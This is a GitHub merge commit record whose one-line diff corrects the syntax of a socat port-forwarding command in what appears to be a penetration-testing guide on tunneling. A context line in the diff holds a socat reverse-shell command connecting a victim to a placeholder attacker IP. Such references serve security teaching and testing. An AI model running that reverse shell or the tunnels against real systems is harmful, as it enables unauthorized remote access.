Merge pull request #53 from roxas-tan/patch-2

Update tunneling-and-port-forwarding.md
This commit is contained in:
Carlos Polop 2021-01-11 10:24:44 +01:00 committed by GitHub
commit cd3c358eea
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -178,7 +178,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &
socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &
```
### Port2Port through socks